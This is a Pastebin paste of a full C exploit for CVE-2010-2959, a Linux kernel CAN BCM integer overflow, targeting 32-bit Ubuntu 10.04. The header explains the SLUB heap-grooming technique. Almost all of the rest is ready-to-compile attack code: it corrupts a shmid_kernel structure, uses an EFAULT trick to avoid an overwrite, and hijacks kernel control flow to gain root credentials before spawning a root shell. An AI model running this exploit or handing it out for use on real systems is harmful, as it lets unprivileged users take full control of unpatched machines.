GLADzTeguhID

Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - CAN BCM

Mar 8th, 2017
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 15.24 KB | None | 0 0
  1. /*
  2.  * i-CAN-haz-MODHARDEN.c
  3.  *
  4.  * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
  5.  * Jon Oberheide <jon@oberheide.org>
  6.  * http://jon.oberheide.org
  7.  *
  8.  * Information:
  9.  *
  10.  *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
  11.  *
  12.  *   Ben Hawkes discovered an integer overflow in the Controller Area Network
  13.  *   (CAN) subsystem when setting up frame content and filtering certain
  14.  *   messages. An attacker could send specially crafted CAN traffic to crash
  15.  *   the system or gain root privileges.
  16.  *
  17.  * Usage:
  18.  *
  19.  *   $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
  20.  *   $ ./i-can-haz-modharden
  21.  *   ...
  22.  *   [+] launching root shell!
  23.  *   # id
  24.  *   uid=0(root) gid=0(root)
  25.  *
  26.  * Notes:
  27.  *
  28.  *   The allocation pattern of the CAN BCM module gives us some desirable
  29.  *   properties for smashing the SLUB. We control the kmalloc with a 16-byte
  30.  *   granularity allowing us to place our allocation in the SLUB cache of our
  31.  *   choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for
  32.  *   old-times sake). The allocation can also be made in its own discrete
  33.  *   stage before the overwrite which allows us to be a bit more conservative
  34.  *   in ensuring the proper layout of our SLUB cache.
  35.  *
  36.  *   To exploit the vulnerability, we first create a BCM RX op with a crafted
  37.  *   nframes to trigger the integer overflow during the kmalloc. On the second
  38.  *   call to update the existing RX op, we bypass the E2BIG check since the
  39.  *   stored nframes in the op is large, yet has an insufficiently sized
  40.  *   allocation associated with it. We then have a controlled write into the
  41.  *   adjacent shmid_kernel object in the 96-byte SLUB cache.
  42.  *
  43.  *   However, while we control the length of the SLUB overwrite via a
  44.  *   memcpy_fromiovec operation, there exists a memset operation that directly
  45.  *   follows which zeros out last_frames, likely an adjacent allocation, with
  46.  *   the same malformed length, effectively nullifying our shmid smash. To
  47.  *   work around this, we take advantage of the fact that copy_from_user can
  48.  *   perform partial writes on x86 and trigger an EFAULT by setting up a
  49.  *   truncated memory mapping as the source for the memcpy_fromiovec operation,
  50.  *   allowing us to smash the necessary amount of memory and then pop out and
  51.  *   return early before the memset operation occurs.
  52.  *
  53.  *   We then perform a dry-run and detect the shmid smash via an EIDRM errno
  54.  *   from shmat() caused by an invalid ipc_perm sequence number. Once we're
  55.  *   sure we have a shmid_kernel under our control we re-smash it with the
  56.  *   malformed version and redirect control flow to our credential modifying
  57.  *   calls mapped in user space.
  58.  *
  59.  *   Distros: please use grsecurity's MODHARDEN or SELinux's module_request
  60.  *   to restrict unprivileged loading of uncommon packet families. Allowing
  61.  *   the loading of poorly-written PF modules just adds a non-trivial and
  62.  *   unnecessary attack surface to the kernel.
  63.  *
  64.  *   Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports
  65.  *   easily to other vulnerable kernels/distros. Careful, it could use some
  66.  *   post-exploitation stability love as well.
  67.  *
  68.  *   Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that
  69.  *   this exploit borrows code from.
  70.  */
  71.  
  72. #include <stdio.h>
  73. #include <stdlib.h>
  74. #include <stdint.h>
  75. #include <string.h>
  76. #include <unistd.h>
  77. #include <errno.h>
  78. #include <fcntl.h>
  79. #include <limits.h>
  80. #include <inttypes.h>
  81. #include <sys/types.h>
  82. #include <sys/socket.h>
  83. #include <sys/ipc.h>
  84. #include <sys/shm.h>
  85. #include <sys/mman.h>
  86. #include <sys/stat.h>
  87.  
  88. #define SLUB "kmalloc-96"
  89. #define ALLOCATION 96
  90. #define FILLER 100
  91.  
  92. #ifndef PF_CAN
  93. #define PF_CAN 29
  94. #endif
  95.  
  96. #ifndef CAN_BCM
  97. #define CAN_BCM 2
  98. #endif
  99.  
  100. struct sockaddr_can {
  101.     sa_family_t can_family;
  102.     int can_ifindex;
  103.     union {
  104.         struct { uint32_t rx_id, tx_id; } tp;
  105.     } can_addr;
  106. };
  107.  
  108. struct can_frame {
  109.     uint32_t can_id;
  110.     uint8_t can_dlc;
  111.     uint8_t data[8] __attribute__((aligned(8)));
  112. };
  113.  
  114. struct bcm_msg_head {
  115.     uint32_t opcode;
  116.     uint32_t flags;
  117.     uint32_t count;
  118.     struct timeval ival1, ival2;
  119.     uint32_t can_id;
  120.     uint32_t nframes;
  121.     struct can_frame frames[0];
  122. };
  123.  
  124. #define RX_SETUP 5
  125. #define RX_DELETE 6
  126. #define CFSIZ sizeof(struct can_frame)
  127. #define MHSIZ sizeof(struct bcm_msg_head)
  128. #define IPCMNI 32768
  129. #define EIDRM 43
  130. #define HDRLEN_KMALLOC 8
  131.  
  132. struct list_head {
  133.     struct list_head *next;
  134.     struct list_head *prev;
  135. };
  136.  
  137. struct super_block {
  138.     struct list_head s_list;
  139.     unsigned int s_dev;
  140.     unsigned long s_blocksize;
  141.     unsigned char s_blocksize_bits;
  142.     unsigned char s_dirt;
  143.     uint64_t s_maxbytes;
  144.     void *s_type;
  145.     void *s_op;
  146.     void *dq_op;
  147.     void *s_qcop;
  148.     void *s_export_op;
  149.     unsigned long s_flags;
  150. } super_block;
  151.  
  152. struct mutex {
  153.     unsigned int count;
  154.     unsigned int wait_lock;
  155.     struct list_head wait_list;
  156.     void *owner;
  157. };
  158.  
  159. struct inode {
  160.     struct list_head i_hash;
  161.     struct list_head i_list;
  162.     struct list_head i_sb_list;
  163.     struct list_head i_dentry_list;
  164.     unsigned long i_ino;
  165.     unsigned int i_count;
  166.     unsigned int i_nlink;
  167.     unsigned int i_uid;
  168.     unsigned int i_gid;
  169.     unsigned int i_rdev;
  170.     uint64_t i_version;
  171.     uint64_t i_size;
  172.     unsigned int i_size_seqcount;
  173.     long i_atime_tv_sec;
  174.     long i_atime_tv_nsec;
  175.     long i_mtime_tv_sec;
  176.     long i_mtime_tv_nsec;
  177.     long i_ctime_tv_sec;
  178.     long i_ctime_tv_nsec;
  179.     uint64_t i_blocks;
  180.     unsigned int i_blkbits;
  181.     unsigned short i_bytes;
  182.     unsigned short i_mode;
  183.     unsigned int i_lock;
  184.     struct mutex i_mutex;
  185.     unsigned int i_alloc_sem_activity;
  186.     unsigned int i_alloc_sem_wait_lock;
  187.     struct list_head i_alloc_sem_wait_list;
  188.     void *i_op;
  189.     void *i_fop;
  190.     struct super_block *i_sb;
  191.     void *i_flock;
  192.     void *i_mapping;
  193.     char i_data[84];
  194.     void *i_dquot_1;
  195.     void *i_dquot_2;
  196.     struct list_head i_devices;
  197.     void *i_pipe_union;
  198.     unsigned int i_generation;
  199.     unsigned int i_fsnotify_mask;
  200.     void *i_fsnotify_mark_entries;
  201.     struct list_head inotify_watches;
  202.     struct mutex inotify_mutex;
  203. } inode;
  204.  
  205. struct dentry {
  206.     unsigned int d_count;
  207.     unsigned int d_flags;
  208.     unsigned int d_lock;
  209.     int d_mounted;
  210.     void *d_inode;
  211.     struct list_head d_hash;
  212.     void *d_parent;
  213. } dentry;
  214.  
  215. struct file_operations {
  216.     void *owner;
  217.     void *llseek;
  218.     void *read;
  219.     void *write;
  220.     void *aio_read;
  221.     void *aio_write;
  222.     void *readdir;
  223.     void *poll;
  224.     void *ioctl;
  225.     void *unlocked_ioctl;
  226.     void *compat_ioctl;
  227.     void *mmap;
  228.     void *open;
  229.     void *flush;
  230.     void *release;
  231.     void *fsync;
  232.     void *aio_fsync;
  233.     void *fasync;
  234.     void *lock;
  235.     void *sendpage;
  236.     void *get_unmapped_area;
  237.     void *check_flags;
  238.     void *flock;
  239.     void *splice_write;
  240.     void *splice_read;
  241.     void *setlease;
  242. } op;
  243.  
  244. struct vfsmount {
  245.     struct list_head mnt_hash;
  246.     void *mnt_parent;
  247.     void *mnt_mountpoint;
  248.     void *mnt_root;
  249.     void *mnt_sb;
  250.     struct list_head mnt_mounts;
  251.     struct list_head mnt_child;
  252.     int mnt_flags;
  253.     const char *mnt_devname;
  254.     struct list_head mnt_list;
  255.     struct list_head mnt_expire;
  256.     struct list_head mnt_share;
  257.     struct list_head mnt_slave_list;
  258.     struct list_head mnt_slave;
  259.     struct vfsmount *mnt_master;
  260.     struct mnt_namespace *mnt_ns;
  261.     int mnt_id;
  262.     int mnt_group_id;
  263.     int mnt_count;
  264. } vfsmount;
  265.  
  266. struct file {
  267.     struct list_head fu_list;
  268.     struct vfsmount *f_vfsmnt;
  269.     struct dentry *f_dentry;
  270.     void *f_op;
  271.     unsigned int f_lock;
  272.     unsigned long f_count;
  273. } file;
  274.  
  275. struct kern_ipc_perm {
  276.     unsigned int lock;
  277.     int deleted;
  278.     int id;
  279.     unsigned int key;
  280.     unsigned int uid;
  281.     unsigned int gid;
  282.     unsigned int cuid;
  283.     unsigned int cgid;
  284.     unsigned int mode;
  285.     unsigned int seq;
  286.     void *security;
  287. };
  288.  
  289. struct shmid_kernel {
  290.     struct kern_ipc_perm shm_perm;
  291.     struct file *shm_file;
  292.     unsigned long shm_nattch;
  293.     unsigned long shm_segsz;
  294.     time_t shm_atim;
  295.     time_t shm_dtim;
  296.     time_t shm_ctim;
  297.     unsigned int shm_cprid;
  298.     unsigned int shm_lprid;
  299.     void *mlock_user;
  300. } shmid_kernel;
  301.  
  302. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  303. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  304. _commit_creds commit_creds;
  305. _prepare_kernel_cred prepare_kernel_cred;
  306.  
  307. int __attribute__((regparm(3)))
  308. kernel_code(struct file *file, void *vma)
  309. {
  310.     commit_creds(prepare_kernel_cred(0));
  311.     return -1;
  312. }
  313.  
  314. unsigned long
  315. get_symbol(char *name)
  316. {
  317.     FILE *f;
  318.     unsigned long addr;
  319.     char dummy;
  320.     char sname[512];
  321.     int ret = 0, oldstyle;
  322.  
  323.     f = fopen("/proc/kallsyms", "r");
  324.     if (f == NULL) {
  325.         f = fopen("/proc/ksyms", "r");
  326.         if (f == NULL)
  327.             return 0;
  328.         oldstyle = 1;
  329.     }
  330.  
  331.     while (ret != EOF) {
  332.         if (!oldstyle) {
  333.             ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
  334.         } else {
  335.             ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
  336.             if (ret == 2) {
  337.                 char *p;
  338.                 if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
  339.                     continue;
  340.                 }
  341.                 p = strrchr(sname, '_');
  342.                 if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
  343.                     p = p - 4;
  344.                     while (p > (char *)sname && *(p - 1) == '_') {
  345.                         p--;
  346.                     }
  347.                     *p = '\0';
  348.                 }
  349.             }
  350.         }
  351.         if (ret == 0) {
  352.             fscanf(f, "%s\n", sname);
  353.             continue;
  354.         }
  355.         if (!strcmp(name, sname)) {
  356.             printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
  357.             fclose(f);
  358.             return addr;
  359.         }
  360.     }
  361.     fclose(f);
  362.  
  363.     return 0;
  364. }
  365.  
  366. int
  367. check_slabinfo(char *cache, int *active_out, int *total_out)
  368. {
  369.     FILE *fp;
  370.     char name[64], slab[256];
  371.     int active, total, diff;
  372.  
  373.     memset(slab, 0, sizeof(slab));
  374.     memset(name, 0, sizeof(name));
  375.  
  376.     fp = fopen("/proc/slabinfo", "r");
  377.     if (!fp) {
  378.         printf("[-] sorry, /proc/slabinfo is not available!");
  379.         exit(1);
  380.     }
  381.  
  382.     fgets(slab, sizeof(slab) - 1, fp);
  383.     while (1) {
  384.         fgets(slab, sizeof(slab) - 1, fp);
  385.         sscanf(slab, "%s %u %u", name, &active, &total);
  386.         diff = total - active;
  387.         if (strcmp(name, cache) == 0) {
  388.             break;
  389.         }
  390.     }
  391.     fclose(fp);
  392.  
  393.     if (active_out) {
  394.         *active_out = active;
  395.     }
  396.     if (total_out) {
  397.         *total_out = total;
  398.     }
  399.     return diff;
  400. }
  401.  
  402. void
  403. trigger(void)
  404. {
  405.     int *shmids;
  406.     int i, ret, sock, cnt, base, smashed;
  407.     int diff, active, total, active_new, total_new;
  408.     int len, sock_len, mmap_len;
  409.     struct sockaddr_can addr;
  410.     struct bcm_msg_head *msg;
  411.     void *efault;
  412.     char *buf;
  413.  
  414.     printf("[+] creating PF_CAN socket...\n");
  415.  
  416.     sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
  417.     if (sock < 0) {
  418.         printf("[-] kernel lacks CAN packet family support\n");
  419.         exit(1);
  420.     }
  421.  
  422.     printf("[+] connecting PF_CAN socket...\n");
  423.  
  424.     memset(&addr, 0, sizeof(addr));
  425.     addr.can_family = PF_CAN;
  426.  
  427.     ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
  428.     if (sock < 0) {
  429.         printf("[-] could not connect CAN socket\n");
  430.         exit(1);
  431.     }
  432.  
  433.     len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
  434.     msg = malloc(len);
  435.     memset(msg, 0, len);
  436.     msg->can_id = 2959;
  437.     msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;
  438.  
  439.     printf("[+] clearing out any active OPs via RX_DELETE...\n");
  440.    
  441.     msg->opcode = RX_DELETE;
  442.     ret = send(sock, msg, len, 0);
  443.  
  444.     printf("[+] removing any active user-owned shmids...\n");
  445.  
  446.     system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");
  447.  
  448.     printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");
  449.  
  450.     diff = check_slabinfo(SLUB, &active, &total);
  451.  
  452.     shmids = malloc(sizeof(int) * diff * 10);
  453.  
  454.     cnt = diff * 10;
  455.     for (i = 0; i < cnt; ++i) {
  456.         diff = check_slabinfo(SLUB, &active, &total);
  457.         if (diff == 0) {
  458.             break;
  459.         }
  460.         shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
  461.     }
  462.     base = i;
  463.  
  464.     if (diff != 0) {
  465.         printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");
  466.         exit(1);
  467.     }
  468.  
  469.     printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");
  470.  
  471.     i = base;
  472.     cnt = i + FILLER;
  473.     for (; i < cnt; ++i) {
  474.         shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
  475.     }
  476.  
  477.     msg->opcode = RX_SETUP;
  478.     ret = send(sock, msg, len, 0);
  479.     if (ret < 0) {
  480.         printf("[-] kernel rejected malformed CAN header\n");
  481.         exit(1);
  482.     }
  483.  
  484.     i = base + FILLER;
  485.     cnt = i + FILLER;
  486.     for (; i < cnt; ++i) {
  487.         shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
  488.     }
  489.  
  490.     printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");
  491.  
  492.     mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
  493.     sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
  494.     efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  495.  
  496.     printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);
  497.  
  498.     printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");
  499.  
  500.     msg = (struct bcm_msg_head *) efault;
  501.     memset(msg, 0, mmap_len);
  502.     msg->can_id = 2959;
  503.     msg->nframes = (ALLOCATION / 16) * 4;
  504.  
  505.     msg->opcode = RX_SETUP;
  506.     ret = send(sock, msg, mmap_len, 0);
  507.     if (ret != -1 && errno != EFAULT) {
  508.         printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
  509.         exit(1);
  510.     }
  511.  
  512.     printf("[+] seeking out the smashed shmid_kernel...\n");
  513.  
  514.     i = base;
  515.     cnt = i + FILLER + FILLER;
  516.     for (; i < cnt; ++i) {
  517.         ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
  518.         if (ret == -1 && errno == EIDRM) {
  519.             smashed = i;
  520.             break;
  521.         }
  522.     }
  523.     if (i == cnt) {
  524.         printf("[-] could not find smashed shmid, trying running the exploit again!\n");
  525.         exit(1);
  526.     }
  527.    
  528.     printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);
  529.  
  530.     printf("[+] re-smashing the shmid_kernel with exploit payload...\n");
  531.  
  532.     shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;
  533.  
  534.     buf = (char *) msg;
  535.     memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
  536.  
  537.     msg->opcode = RX_SETUP;
  538.     ret = send(sock, msg, mmap_len, 0);
  539.     if (ret != -1 && errno != EFAULT) {
  540.         printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
  541.         exit(1);
  542.     }
  543.    
  544.     ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
  545.     if (ret == -1 && errno != EIDRM) {
  546.         setresuid(0, 0, 0);
  547.         setresgid(0, 0, 0);
  548.  
  549.         printf("[+] launching root shell!\n");
  550.  
  551.         execl("/bin/bash", "/bin/bash", NULL);
  552.         exit(0);
  553.     }
  554.  
  555.     printf("[-] exploit failed! retry?\n");
  556. }
  557.  
  558. void
  559. setup(void)
  560. {
  561.     printf("[+] looking for symbols...\n");
  562.  
  563.     commit_creds = (_commit_creds) get_symbol("commit_creds");
  564.     if (!commit_creds) {
  565.         printf("[-] symbol table not availabe, aborting!\n");
  566.     }
  567.  
  568.     prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
  569.     if (!prepare_kernel_cred) {
  570.         printf("[-] symbol table not availabe, aborting!\n");
  571.     }
  572.  
  573.     printf("[+] setting up exploit payload...\n");
  574.  
  575.     super_block.s_flags = 0;
  576.  
  577.     inode.i_size = 4096;
  578.     inode.i_sb = &super_block;
  579.     inode.inotify_watches.next = &inode.inotify_watches;
  580.     inode.inotify_watches.prev = &inode.inotify_watches;
  581.     inode.inotify_mutex.count = 1;
  582.  
  583.     dentry.d_count = 4096;
  584.     dentry.d_flags = 4096;
  585.     dentry.d_parent = NULL;
  586.     dentry.d_inode = &inode;
  587.  
  588.     op.mmap = &kernel_code;
  589.     op.get_unmapped_area = &kernel_code;
  590.  
  591.     vfsmount.mnt_flags = 0;
  592.     vfsmount.mnt_count = 1;
  593.  
  594.     file.fu_list.prev = &file.fu_list;
  595.     file.fu_list.next = &file.fu_list;
  596.     file.f_dentry = &dentry;
  597.     file.f_vfsmnt = &vfsmount;
  598.     file.f_op = &op;
  599.  
  600.     shmid_kernel.shm_perm.key = IPC_PRIVATE;
  601.     shmid_kernel.shm_perm.uid = getuid();
  602.     shmid_kernel.shm_perm.gid = getgid();
  603.     shmid_kernel.shm_perm.cuid = getuid();
  604.     shmid_kernel.shm_perm.cgid = getgid();
  605.     shmid_kernel.shm_perm.mode = -1;
  606.     shmid_kernel.shm_file = &file;
  607. }
  608.  
  609. int
  610. main(int argc, char **argv)
  611. {
  612.     setup();
  613.     trigger();
  614.     return 0;
  615. }
Add Comment
Please, Sign In to add comment